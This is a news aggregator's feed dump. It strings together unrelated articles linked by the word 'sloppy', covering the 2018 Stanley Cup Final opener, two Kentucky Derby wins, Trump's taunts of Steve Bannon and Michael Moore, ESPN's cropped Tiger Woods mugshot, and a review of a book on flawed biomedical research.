The Knights had a seven-day layoff in the wake of beating the Winnipeg Jets in the Western Conference final, while the Capitals had four days of inaction following their triumph over the Tampa Bay Lightning to capture the East crown.

Vegas defeat Washington Capitals 6-4 in Stanley Cup Final opener, Tomas Nosek 2 goals. 1:43

"After a long break for both teams, it's going to be a little wild," Vegas defenceman Shea Theodore said. "They're going to tighten up a lot of things and so are we."

There are just three players in the series with previous Cup experience — Neal, Knights netminder Marc-Andre Fleury and Capitals defenceman Brooks Orpik — so nerves were probably a factor in some of the lapses that resulted in a 10-goal outburst.

The ice was also an issue on a couple of occasions as workers had to deal with problem areas at T-Mobile Arena with scorching temperatures outside and a late-afternoon puck drop in the Nevada desert.

"Neither team played their best game," Knights forward Pierre-Edouard Bellemare said. "The break, the stage, the final … guys being a little bit more stressed than they are usually."

Both clubs were loose in the neutral zone and in the danger areas in front of Fleury and Washington counterpart Braden Holtby, although neither netminder was in top form.

William Carrier, left, and Ryan Reaves of the Vegas Golden Knights joke around during practice on Tuesday. (John Locher/Associated Press)

"The chances were pretty close, and they're a lot higher than most teams give up in a playoff game," Vegas head coach Gerard Gallant said. "Both teams will be a lot better.

"It wasn't the best game, but it was an exciting game. When you go through the chances there were 2-on-1s, there were lots of opportunities. I'm sure it was great for the fans."

Washington, meanwhile, doesn't have the luxury of feeling good about the result in spite of its performance after allowing six goals for the first time since March 18.

"I don't think we executed our game plan 100 per cent," forward Tom Wilson said. "We didn't play the game the way we wanted to, and we were still in it. We did a good job clawing back into it and making sure we stuck around.

"In the third we're up a goal on the road in a tough building. Hockey's a game of ups and downs, and we're focused on the next one."

The Capitals, who closed out Tampa Bay with back-to-back shutouts, led 2-1, 3-2 and 4-3 in Game 1, but allowed the Knights to claw back each time.

'Keep pushing forward'

"There's a couple moments where maybe if you control those a little bit better then the outcome's different," Wilson added. "There's going to be little breaks, there's going to be stuff that goes on. You've got to try to keep pushing forward."

Washington fell behind the Columbus Blue Jackets 2-0 to open the playoffs — on home ice, no less — and dropped the opener to the Pittsburgh Penguins in the second round.

Needless to say, the Capitals have been here before.

"You've got to bounce back regardless of the scenario," said defenceman John Carlson, who scored once and hit two posts in Game 1. "We know what our capabilities are as a team and what kind of game-style we're able to push.

"We've got to get back on our horses."

The Capitals learned prior to their practice Tuesday that Wilson wouldn't face any supplemental discipline from the league following his controversial hit on Vegas forward Jonathan Marchessault with the score tied 4-4 in the third period of Game 1.

Wilson was up to his old tricks in Game 1 of the Stanley Cup Final. 1:25

The big winger caught the diminutive Marchessault admiring a pass, but the Knights contended the play should have resulted in a major for interference instead of a two-minute minor.

"It was a close hit. It was a borderline hit," Gallant said. "It was a late hit, for me.

"The good thing about the hit is it really woke our team up … it got our guys a little upset, they played hard and found a way to win the hockey game."

Wilson felt decidedly different Monday night, and that opinion hadn't changed by Tuesday afternoon after watching the replay in slow motion.

"It was within the rules and a good hit," he said. "Looking forward to playing the next game."

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]]> https://briefnews.eu/capitals-knights-both-happy-to-put-sloppy-game-1-behind-them/feed/ 0 Justify overcomes sloppy track to win Kentucky Derby https://briefnews.eu/justify-overcomes-sloppy-track-to-win-kentucky-derby/ https://briefnews.eu/justify-overcomes-sloppy-track-to-win-kentucky-derby/#respond Sun, 06 May 2018 11:56:08 +0000 http://briefnews.eu/justify-overcomes-sloppy-track-to-win-kentucky-derby/

If you want to bust a racing curse, call Bob Baffert.

The white-haired trainer smashed a jinx that stood for 136 years when Justify splashed through the slop to win the Kentucky Derby by two and a half lengths on Saturday.

Not since Apollo in 1882 had a colt won the roses without racing as a 2-year-old.

Now, Baffert is in position to make another run at the Triple Crown. Three years ago, he trained American Pharoah to the sport’s first sweep of the Derby, Preakness and Belmont in 37 years.

Records and streaks are made to be a broken and Baffert is certainly on a tear.

The chestnut colt that began his career in February improved to 4-0 and gave Baffert his fifth Derby victory. It snapped a tie and left the 65-year-old trainer trailing only Ben Jones with six.

Justify was bred in Kentucky by John Gunther of Vancouver.

Mike Smith earned his second Derby victory, becoming at 52 the second-oldest winning jockey. Bill Shoemaker was 54 when he won with Ferdinand in 1986.

The pre-race favourite became the first colt in 136 years to win the Kentucky Derby after not racing as a 2-year-old0:57

Smith crossed the finish line at Churchill Downs with only a few specks of mud on his white and green silks in the rainiest Derby in the race’s 144-year history. Nearly 3 inches fell on the crowd of 157,813 throughout the day.

‘Amazing horse’

“Amazing horse,” Smith said. “He’s got that ‘it’ factor. He is so above average, he’s got unbelievable talent and he’s got a mind to go with it. He was loving this stuff.”

Smith’s silks were nearly spotless after he kept Justify near the lead throughout the race. He gunned Justify out of the No. 7 spot in the starting gate — something Baffert said had to happen — and the colt’s early speed helped hook leader Promises Fulfilled from the start.

“When he got away clean, then I thought we had a chance,” Baffert said. “We had to get away. Then Mike took his time.”

They set a blistering pace through the muck, going a half-mile in 45.77 seconds.

Entering the final turn, Justify took the lead and kept on going to the finish under Smith’s left-handed whip.

Justify, the 5-2 favourite in the field of 20, ran 1 1/4 miles in 2:04.20. He paid $ 7.80 US, $ 6 and $ 4.40.

“I was just in awe of the performance,” Baffert said. “He just put himself up there with the greats.”

‘Presence about him’

Good Magic returned $ 9.20 and $ 6.60, while Audible was another head back in third and paid $ 5.80 to show.

Good Magic was the only horse to have a serious shot at Justify turning for home. Good Magic, under Jose Ortiz, drifted out while Justify and Smith kept a clear and straight inside path.

Justify won his career debut on Feb. 18 at Santa Anita under 23-year-old Drayden Van Dyke. Baffert, sensing he had a special horse, knew he needed a rider who could handle the pressure of the Triple Crown trail and reached out to Smith.

They teamed to win Justify’s second race on March 11 in the mud, foretelling his ability to handle what he would face at Churchill Downs on the first Saturday in May.

Justify announced his presence nationally last month in the Santa Anita Derby, with a front-running, three-length victory over Bolt d’Oro, who ended up 12th on Saturday.

“He’s the most beautiful horse,” Baffert said. “He has that presence about him. Every day at Santa Anita everybody says, ‘Who is that?”‘

Huge victory

The victory was worth $ 1,432,000 to owners WinStar Farm, China Horse Club, Starlight Racing and Head of Plains Partners. They bought Justify for $ 500,000.

Instilled Regard, an 85-1 shot, was fourth, followed by My Boy Jack, Bravazo — ridden by Woodbine jockey Luis Contreras — and Hofburg.

Contreras, twice named Canada’s top jockey and the only rider to win all three Canadian Triple Crown races aboard different horses, was appearing in the Kentucky Derby for the second time. He finished 18th in 2012 aboard Prospective.

Lone Sailor was eighth, followed by Vino Rosso, Solomini, Firenze Fire, Bolt d’Oro, Canadian-bred Flameaway, Enticed, Promises Fulfilled, Free Drop Billy, Noble Indy, Combatant and Magnum Moon.

Mendelssohn, trying to become the first Europe-based horse to win the Derby, finished last. The $ 3 million purchase was beaten by 53 1/4 lengths for Irish trainer Aidan O’Brien.

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]]> https://briefnews.eu/justify-overcomes-sloppy-track-to-win-kentucky-derby/feed/ 0 ‘Sloppy Steve!’: Trump continues to taunt Steve Bannon and the author of a bombshell book on Trump https://briefnews.eu/sloppy-steve-trump-continues-to-taunt-steve-bannon-and-the-author-of-a-bombshell-book-on-trump/ https://briefnews.eu/sloppy-steve-trump-continues-to-taunt-steve-bannon-and-the-author-of-a-bombshell-book-on-trump/#respond Fri, 05 Jan 2018 05:44:18 +0000 http://briefnews.eu/sloppy-steve-trump-continues-to-taunt-steve-bannon-and-the-author-of-a-bombshell-book-on-trump/ steve bannonChip Somodevilla/Getty Images

  • President Donald Trump said he gave the author of a tell-all book on the White House “zero access,” and made a disparaging remark about Steve Bannon, his former chief strategist.
  • Other Trump officials have continued to criticize Wolff’s claims in the book, many of which were made by Bannon who targeted Trump’s associates and members of his family.

President Donald Trump continued to lob disparaging remarks at former White House chief strategist Steve Bannon, after the release of a book in which Bannon was quoted making a series of critical remarks on Trump’s associates and members of his family.

In his tweet Thursday night, Trump called Bannon “Sloppy Steve,” and railed against Michael Wolff, the author of “Fire and Fury: Inside the Trump White House..” The newly released book details sensitive information on the inner-workings of the Trump administration, and includes extensive commentary from Bannon that prompted a brutal response from Trump.

“I authorized Zero access to White House (actually turned him down many times) for author of phony book!,” Trump said on Twitter. “I never spoke to him for book. Full of lies, misrepresentations and sources that don’t exist.”

“Look at this guy’s past and watch what happens to him and Sloppy Steve!,” Trump continued.

Wolff, a columnist, reportedly had broad access to the West Wing during an 18-month period and conducted over 200 interviews, some of which were said to have been recorded. Despite the corroboration of some of the book’s anecdotes by other reporters, White House officials attempted to discredit the book, after news outlets published stories based on the excerpts.

White House deputy press secretary Hogan Gidley called Wolff a “crackpot, fake news fantasy fiction writer” in an interview with CNN on Thursday.

Despite Trump’s denial, Wolff said he had some interaction with Trump and his aides. And according to the White House, it was Bannon who invited Wolff into the White House’s inner circles.

White House press secretary Sarah Huckabee Sanders called Wolff’s book “trashy tabloid fiction” on Wednesday.”

Trump’s legal counsel has since issued a cease-and-desist letter to Bannon and the book’s publisher, and also suggested that they may seek monetary damages. The publisher fast-tracked its release and it hit store shelves on Friday.

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]]> https://briefnews.eu/sloppy-steve-trump-continues-to-taunt-steve-bannon-and-the-author-of-a-bombshell-book-on-trump/feed/ 0 Noting that it’s ‘not at all presidential,’ Trump attacks ‘Sloppy Michael Moore’ https://briefnews.eu/noting-that-its-not-at-all-presidential-trump-attacks-sloppy-michael-moore/ https://briefnews.eu/noting-that-its-not-at-all-presidential-trump-attacks-sloppy-michael-moore/#respond Sun, 29 Oct 2017 00:25:36 +0000 http://briefnews.eu/noting-that-its-not-at-all-presidential-trump-attacks-sloppy-michael-moore/ Michael Moore REUTERS:Jonathan Alcorn finalREUTERS/Jonathan Alcorn

  • Trump criticized documentarian Michael Moore in a tweet, noting that his statement was “not at all presidential.”
  • Trump also said Moore’s Broadway show was “forced to close,” which was not true.
  • Moore’s show, which had anti-Trump themes, was a 12-week, limited-run production.

President Donald Trump on Saturday slammed a vocal critic of his via Twitter, but admitted that his tweet was “not at all presidential.”

“While not at all presidential I must point out that the Sloppy Michael Moore Show on Broadway was a TOTAL BOMB and was forced to close. Sad!” Trump wrote.

Trump was apparently referring to the documentarian Michael Moore’s Broadway debut, a one-man show titled “The Terms of My Surrender.”

Moore’s show was a limited-run production that ran for 12 weeks as scheduled, and was not “forced to close.” Playbill, which tracks Broadway show ticket sales, said Moore’s show grossed $ 4.2 million.

The show contained a decidedly anti-Trump theme, and had even advertised the production with the question, “Can a Broadway show bring down a sitting president?”

In a statement on the show’s closing night, Moore said the show will go on tour next summer.

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]]> https://briefnews.eu/noting-that-its-not-at-all-presidential-trump-attacks-sloppy-michael-moore/feed/ 0 Aussies concede sloppy goal https://briefnews.eu/aussies-concede-sloppy-goal/ https://briefnews.eu/aussies-concede-sloppy-goal/#respond Thu, 22 Jun 2017 22:44:02 +0000 http://briefnews.eu/aussies-concede-sloppy-goal/ [unable to retrieve full-text content]

Confederations Cup: The Socceroos hopes of progressing through the Confederations Cup took a massive blow on the strike of halftime against Cameroon.

Sport | news.com.au — Australia’s #1 news site

]]> https://briefnews.eu/aussies-concede-sloppy-goal/feed/ 0 ESPN is being accused of Photoshopping Tiger Woods’ mugshot to make his hair look better, but it may have just been a sloppy crop https://briefnews.eu/espn-is-being-accused-of-photoshopping-tiger-woods-mugshot-to-make-his-hair-look-better-but-it-may-have-just-been-a-sloppy-crop/ https://briefnews.eu/espn-is-being-accused-of-photoshopping-tiger-woods-mugshot-to-make-his-hair-look-better-but-it-may-have-just-been-a-sloppy-crop/#respond Tue, 30 May 2017 04:45:13 +0000 http://briefnews.eu/espn-is-being-accused-of-photoshopping-tiger-woods-mugshot-to-make-his-hair-look-better-but-it-may-have-just-been-a-sloppy-crop/ Tiger Woods made headlines on Monday when he was arrested and charged with driving under the influence. Now, ESPN is being accused of Photoshopping his mugshot to make his hair look better.

While ESPN was reporting on the arrest, they showed Woods’ mugshot. However, it appeared that his hair in the mugshot had been “tidied up” a bit.

Here is the side-by-side from Golf.com.

Tiger WoodsTwitter/Golf_Com

The immediate question raised by most is, why would ESPN go out of their way to improve the appearance of Woods in his mugshot? The conspiracy theory, of course, would be that ESPN was protecting a popular athlete with whom they have a close relationship.

But like many conspiracy theories, there is simpler answer: it may have just been unintentional, sloppy work.

When selecting part of an image in Photoshop, to move it to a different background, the most popular methods are the “lasso” tool, which allows the user to select the portion they want by simply drawing a freehand line, or the “magnetic freeform pen” which is similar to the lasso, but assists the user by having the line “stick” to edges.

One problem with the magnetic pen is that it struggles with areas where there is not a distinct line. In this GIF, I attempt to select Woods’ head with the magnetic pen. If not being careful, the pen will easily skip over the thin areas of hair.

But there may be an even simpler explanation: ESPN may have just wanted to change the mugshot to a more friendly background color.

While it is unclear why ESPN wanted a blue background instead of green, the easiest way to eliminate all of the green showing through the thin areas of hair is to just crop those areas out. 

Tiger WoodsTwitter/BraddJaffy; Cork Gaines/Business Insider

Technically, the ESPN image was “Photoshopped,” but it may not have been nefarious. 

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]]> https://briefnews.eu/espn-is-being-accused-of-photoshopping-tiger-woods-mugshot-to-make-his-hair-look-better-but-it-may-have-just-been-a-sloppy-crop/feed/ 0 Always Dreaming wins Kentucky Derby on sloppy track https://briefnews.eu/always-dreaming-wins-kentucky-derby-on-sloppy-track/ https://briefnews.eu/always-dreaming-wins-kentucky-derby-on-sloppy-track/#respond Sun, 07 May 2017 00:42:21 +0000 http://briefnews.eu/always-dreaming-wins-kentucky-derby-on-sloppy-track/ May 6, 2017; Louisville , KY, USA; John Velazquez aboard Always Dreaming (5) leads the field and wins the 2017 Kentucky Derby at Churchill Downs. Mandatory Credit: Jamie Rhodes-USA TODAY SportsThomson Reuters

(Reuters) – Always Dreaming won the 143rd running of the Kentucky Derby at Churchill Downs in Louisville, Kentucky on a sloppy track on Saturday.

Lookin at Lee finished second in the first leg of U.S. thoroughbred racing’s Triple Crown series for 3-year-olds, with Battle of Midway third.

Always Dreaming, who went off as co-favorite with Irish War Cry at 9-2, broke smoothly out of the gate under jockey John Velazquez and was always in touch with the lead group before charging ahead before the far turn.

The Todd Pletcher-trained Florida Derby winner was never threatened on his way to a comfortable victory in 2:03.59.

Long shots Lookin at Lee and Battle of Midway were next across the line in slow conditions caused by rains Friday and Saturday.

Always Dreaming paid $ 11.40, $ 7.20, $ 5.80 for a $ 2 bet. Lookin at Lee, a 33-1 shot, returned $ 26.60, $ 15.20, while 40-1 choice Battle of Midway paid $ 20.80.

(Reporting by Larry Fine in New York; Editing by Andrew Both)

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]]> https://briefnews.eu/always-dreaming-wins-kentucky-derby-on-sloppy-track/feed/ 0 How sloppy science creates worthless cures and wastes billions https://briefnews.eu/how-sloppy-science-creates-worthless-cures-and-wastes-billions/ https://briefnews.eu/how-sloppy-science-creates-worthless-cures-and-wastes-billions/#respond Mon, 03 Apr 2017 08:46:06 +0000 http://briefnews.eu/how-sloppy-science-creates-worthless-cures-and-wastes-billions/

Enlarge / A mouse. (credit: sean dreilinger)

Richard Harris titled his book Rigor Mortis, referring to the stiffening of the body after death, to convey that biomedical science as it is currently practiced suffers from a lack of rigor. It is a pun he must like, because he employs it very early and very often.

The problem Harris is bemoaning is large and legitimate. Drug trials are incredibly expensive in terms of the time and money spent by the government and researchers—as well as the pain, dashed hopes, and even deaths of the patients enrolled. These drug trials are often based on suggestive findings from basic research done in academic labs, findings like compound X (green tea, vitamin E, whatever) fixes cells or cures animals with disease Y (diabetes, cancer, etc.). If that basic research is flawed, of course, the drug trials will fail.

Harris reports that drug trials do, in fact, often fail. Their failure, he writes, is largely, though not completely, because much of the basic research upon which they are based is enormously flawed.

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Ars Technica

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